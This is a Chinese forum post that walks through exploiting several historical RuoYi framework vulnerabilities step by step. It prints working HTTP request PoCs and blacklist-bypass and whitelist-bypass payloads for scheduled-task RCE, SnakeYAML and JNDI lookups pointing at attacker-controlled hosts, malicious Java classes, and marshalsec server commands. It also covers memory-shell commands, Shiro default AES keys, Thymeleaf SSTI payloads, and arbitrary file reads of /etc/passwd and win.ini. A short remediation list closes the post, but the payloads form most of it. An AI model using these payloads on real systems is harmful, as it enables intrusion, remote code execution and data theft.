找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2998

积分

0

好友

422

主题
发表于 4 小时前 | 查看: 2| 回复: 0

承接上文,本文将聚焦若依(RuoYi)框架在多个历史版本中存在的其他安全漏洞,包括定时任务安全绕过、反序列化、SSTI模板注入等,并提供详细的分析与复现过程。

版本4.6.2<=Ruoyi<4.7.2的黑名单绕过

在这个版本区间,系统通过黑名单机制限制了定时任务调用字符串,屏蔽了 ldaphttp(s)rmi 等远程协议的直接调用。

系统提示修改任务失败,目标字符串不允许 http(s):// 调用

绕过方法:
只需在屏蔽的协议字符串中插入单引号进行分隔,即可绕过检测。例如:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h\'t\'t\'p\'://127.0.0.1:88/yaml-payload.jar"]]]]')
org.springframework.jndi.JndiLocatorDelegate.lookup('r\'m\'i://127.0.0.1:1099/refObj')

任务配置界面,调用目标字符串中插入了单引号

Kali终端显示HTTP服务器收到大量请求,证明绕过成功

源代码层面的绕过

在版本 4.6.2<=Ruoyi<4.7.2 中,过滤逻辑位于 ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.javaaddSave 方法中。

系统提示新增任务失败,目标字符串不允许 ldap:// 调用

源代码中的黑名单过滤逻辑

绕过方法: 直接注释掉这段 if 判断中的黑名单过滤代码,即可在源码层面绕过防护。

版本:RuoYi <=4.7.8 的白名单绕过

新版本(<=4.7.8)采用了更严格的白名单机制,仅允许调用 com.ruoyi 包下的类。

白名单和黑名单常量定义

由于过滤仅发生在创建或修改任务时,而 genTableServiceImpl 中存在一个可以执行任意 SQL 语句的方法。因此,攻击思路是:先创建一个合法任务,然后利用 genTableServiceImpl 修改数据库中的 invoke_target 字段为恶意代码,从而实现 RCE。

复现步骤:

  1. 创建两个合法的计划任务
    发送以下 POST 请求两次,创建两个任务(假设获取到的任务 ID 为 103 和 104)。
    
    POST /monitor/job/add HTTP/1.1
    Host: 192.168.137.1
    Content-Length: 146
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.137.1
    Referer: http://192.168.137.1/monitor/job/add
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
    Connection: close

createBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=ryTask.ryParams('ry')&cronExpression=++++*+%3F&misfirePolicy=1&concurrent=1&remark=


2.  **利用 SQL 修改另一个任务的调用目标**
    修改任务 103 的 `invokeTarget`,使其执行 SQL 来更新任务 104 的 `invokeTarget`。
```java
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 104;')

其中 0x6a...javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn') 的十六进制编码,可替换为你的恶意 LDAP 地址。

在线工具将字符串转为十六进制
定时任务管理列表

修改任务 103 的请求包:

POST /monitor/job/edit HTTP/1.1
Host: 192.168.137.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close

jobId=103&updateBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=genTableServiceImpl.createTable('UPDATE+sys_job+SET+invoke_target+%3D+0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729+WHERE+job_id+%3D+104%3B')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=
  1. 执行任务 103,更新数据库
    执行任务 103,触发 SQL 语句,将恶意代码写入任务 104。
    
    POST /monitor/job/run HTTP/1.1
    Content-Length: 370
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.137.1
    Referer: http://192.168.137.1/monitor/job/edit/104
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
    Connection: close
    Host: 192.168.137.1

jobId=103


4.  **执行任务 104,触发漏洞**
    此时任务 104 的调用目标已被修改为恶意 JNDI 调用。
![任务详情显示调用目标已被修改为恶意 JNDI 字符串](https://static1.yunpan.plus/attachment/df18b59fe89735f4.webp)
    执行任务 104,触发 SnakeYAML 反序列化或 JNDI 注入。
```http
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1

jobId=104

不出网利用

当目标服务器无法出网时,需要将恶意 JAR 文件上传到服务器本地可访问的位置。

利用方法:
在定时任务中创建任务,调用目标如下(将 you_url_of_jar 替换为服务器本地的 JAR 文件路径):

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///path/to/your/malicious.jar"]]]]')

不出网利用的定时任务配置

若依 SnakeYAML 反序列化注入内存马

  • RuoYi (前后端不分离版本):

    1. 直接执行命令:?cmd=whoami
    2. 连接冰蝎:/login?cmd=1 (cmd 不为空即可),密码为 rebeyond
    3. 卸载内存马:?cmd=delete
  • RuoYi Vue (前后端分离版本):

    1. 直接执行命令:/dev-api/?cmd=whoami
    2. 连接冰蝎:暂不支持。
    3. 卸载内存马:/dev-api/?cmd=delete

通过注入的内存马执行命令 whoami

漏洞五:后台定时任务RCE(JNDI注入)

此漏洞影响若依 4.2 等版本,通过 JNDI 远程加载恶意类。仅适用于低版本 JDK(如 JDK 8u113 之前)。

复现步骤:

  1. 编写并编译恶意类 (以弹出计算器为例)
    Calc.java:

    public class Calc{
    public Calc(){
        try{
            Runtime.getRuntime().exec("calc");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        public static void main(String[] argv){
            Calc c = new Calc();
        }
    }

    编译:javac Calc.java
    编译 Java 恶意类文件

  2. 启动 HTTP 服务器暴露恶意类

    python -m http.server 5555 --bind 0.0.0.0

    启动 Python HTTP 服务器
    确保可通过 http://YOUR_IP:5555/Calc.class 访问。

  3. 启动恶意 JNDI 服务 (RMI/LDAP)

    • RMI 注入:
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR_IP:5555/#Calc" 8888

      启动 RMI 服务

    • LDAP 注入:
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_IP:5555/#Calc" 8888
  4. 在若依后台创建定时任务

    • RMI 利用:
      目标字符串:org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://YOUR_IP:8888/Calc')
    • LDAP 利用:
      目标字符串:javax.naming.InitialContext.lookup('ldap://YOUR_IP:8888/Calc')
      Cron 表达式:0/10 * * * * ?
      添加 RMI 恶意调用的定时任务
      任务列表显示恶意任务
      任务执行成功,弹出计算器

JNDI、LDAP、RMI 关系简述:

  • JNDI (Java Naming and Directory Interface):是一个 Java API,提供统一的接口来访问各种命名和目录服务(如 LDAP、RMI)。
  • LDAP (Lightweight Directory Access Protocol):是一种访问目录服务的协议,常用于用户认证。
  • RMI (Remote Method Invocation):是 Java 的远程方法调用机制。
    简单来说,JNDI 是“接口”,LDAP 和 RMI 是它支持的两种“服务”。攻击中,应用通过 JNDI 接口去请求攻击者控制的 LDAP 或 RMI 服务,从而加载恶意类。

漏洞六:后台任意文件下载漏洞

该漏洞影响若依管理系统 4.7.6 及以下版本,后台 /common/download/resource 接口未对文件路径做严格限制,导致可下载服务器任意文件。

漏洞复现:

  1. 前提:已登录后台。
  2. 通过定时任务接口,利用 ruoYiConfig.setProfile 设置一个任意文件路径。
    POC:
    
    POST /monitor/job/add HTTP/1.1
    Host: 127.0.0.1
    sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: iframe
    Referer: http://127.0.0.1/index
    Accept-Encoding: gzip, deflate, br
    Cookie: JSESSIONID=bac0bc47-598f-4f6c-b2db-642244070e11
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 184

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+++++%3F&misfirePolicy=1&concurrent=1&status=0&remark=

![Burp Suite 发送添加定时任务请求](https://static1.yunpan.plus/attachment/679e1c699520715b.webp)
3.  **直接下载文件**:通过浏览器访问以下地址即可下载目标文件。
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini::.zip
```
![浏览器访问下载链接,弹出文件下载框](https://static1.yunpan.plus/attachment/0076a4891bccb409.webp)

另一个文件读取漏洞:
/demo/mail/sendMessageWithAttachment 接口的 filePath 参数也存在任意文件读取。

GET /demo/mail/sendMessageWithAttachment?to=test111@163.com&subject=Test-Mail&text=This%20is%20a%20test%20message&filePath=/etc/passwd HTTP/1.1

漏洞七:Shiro反序列化漏洞 (RuoYi<V-4.6.2)

若依早期版本集成了 Shiro,且使用了默认或固定的 AES 加密密钥,导致存在 Shiro-550 类型反序列化漏洞。

漏洞复现:

  1. 使用工具探测:例如使用 ShiroAttack2 工具。
    java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

    Shiro 攻击工具界面,探测到存在 Shiro 框架及默认密钥

  2. 选择利用链:对于 RuoYi-4.2,通常可用 CommonsBeanutilsString 这条链。高版本 Shiro 需勾选 AES GCM 模式。
    工具发现可利用的构造链
  3. 执行命令:利用发现的链执行系统命令。
    通过工具成功执行 whoami 命令

RuoYi 各版本默认密钥参考:

RuoYi 版本号 默认 AES 密钥
4.6.1 - 4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4 及以下 fCq+/xW488hMTCD+cmJ3aQ==

注意:4.2 及以上版本需使用 GCM 模式。从 RuoYi-4.6.2 开始,密钥改为随机生成,若开发者未手动指定固定密钥,则无法直接利用。

漏洞八:SSTI(模板注入)漏洞 (仅适用V-4.7.1)

在 RuoYi 4.7.1 及之前版本中,部分控制器(如 CacheControllerDemoFormController)的返回字段可控,且系统使用 Thymeleaf 视图渲染引擎,导致存在 SSTI 漏洞。

可注入接口:

  • /monitor/cache/getNames
  • /monitor/cache/getKeys
  • /monitor/cache/getValue
  • /demo/form/localrefresh/task

这些接口的 fragment 参数未经处理直接拼接进返回的视图路径,导致模板注入。

CacheController 中存在 SSTI 漏洞的代码

漏洞复现:
构造 POST 请求,在 fragment 参数中插入 Thymeleaf 表达式。高版本 Thymeleaf 对 T() 有限制,可通过在 T( 之间加空格绕过。
Payload: ${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

/monitor/cache/getNames 为例:

POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

通过 /getNames 接口注入执行命令

其他三个接口(/getKeys/getValue/localrefresh/task)的利用方式与 Payload 完全一致。

注意:在 RuoYi-4.7.2 版本中,Thymeleaf 升级至 3.0.14.RELEASE,此注入方法已失效。

漏洞九:Fastjson组件漏洞

若依框架集成了 Fastjson 组件,在特定接口(如代码生成功能的保存接口)可能存在 Fastjson 反序列化漏洞,可通过 JNDI 注入进行利用。这类漏洞属于 安全/渗透/逆向 领域常见的利用方式。

漏洞利用步骤:

  1. 访问代码生成功能:系统工具 -> 代码生成 -> 导入表 sys_user_role -> 修改生成配置。
    代码生成界面导入表结构
  2. 修改配置并抓包:在保存配置时拦截 POST 请求到 /tool/gen/edit
    代码生成修改配置页面
    修改生成信息配置
  3. 注入Payload:在请求参数中插入 Fastjson JNDI 注入的 Payload。
    POST /tool/gen/edit HTTP/1.1
    ...
    params%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory¶ms%5BresourceName%5D=ldap://YOUR_VPS_IP/Evil

    Burp Suite 中修改请求包,插入 Fastjson 漏洞利用参数

创建并托管恶意类:

  1. 新建一个 Maven 项目,创建一个 Evil.java 类。
    新建 Maven 项目
    在 IDE 中新建 Java 类
    为类命名为 Evil

  2. Evil.java 内容:

    import java.io.IOException;
    public class Evil {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }

    Evil 类的代码内容

  3. 编译并复制 Evil.class 到 VPS。
    复制编译好的 Evil.class 文件

  4. 在 VPS 启动 Web 和 LDAP 服务

    # 启动 HTTP 服务器托管 Evil.class
    python -m http.server 80
    # 启动 LDAP 服务指向恶意类
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_VPS_IP:80/#Evil 6666

当若依后台处理包含恶意 Payload 的请求时,会触发 Fastjson 反序列化,通过 JNDI 加载远程的 Evil 类,从而执行恶意代码。

其他漏洞

任意用户注册:
部分版本的前台或后台存在未授权或可被绕过的用户注册功能,接口路径通常为 /register
若依系统注册页面

自动化利用工具:
社区和安全研究者开发了一些针对若依框架的自动化综合利用工具,可以一键检测和利用多个漏洞,极大地提升了在授权测试中的效率。这体现了 开源实战 社区在安全工具开发方面的活力。
若依综合利用工具界面
工具执行 SQL 注入等操作

总结与修复建议

本文详细分析了若依(RuoYi)框架多个历史版本中存在的安全漏洞及其利用方式。这些漏洞主要源于不安全的反序列化、未净化的用户输入、默认配置密钥以及组件自身的安全问题。

修复建议:

  1. 及时升级:升级到若依官方发布的最新安全版本。
  2. 组件更新:确保使用的第三方组件(如 Fastjson、Shiro、SnakeYAML、Thymeleaf)为已知安全版本。
  3. 安全配置:避免使用默认或硬编码的密钥,Shiro 密钥应使用强随机生成。
  4. 输入校验:对所有用户输入进行严格校验和过滤,特别是用于文件路径、类名、方法调用、模板渲染的参数。
  5. 权限最小化:确保后台管理接口具备严格的权限控制,避免未授权访问。
  6. 代码审计:在定制开发过程中,对涉及动态执行、文件操作、数据库操作、反序列化的代码进行重点安全审计。

对于开发者和安全人员而言,深入理解这些漏洞的原理和利用链,不仅能帮助修复自身项目,也是提升 Java 安全开发能力的宝贵实践。更多技术讨论和资源分享,欢迎访问云栈社区。




上一篇:SpringDoc OpenAPI 3.0 实战:搭建微服务团队的API文档协作管理规范
下一篇:realme 16新机复古设计:自拍镜回归,揭秘2026年手机趋势
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-7 19:24 , Processed in 0.307704 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表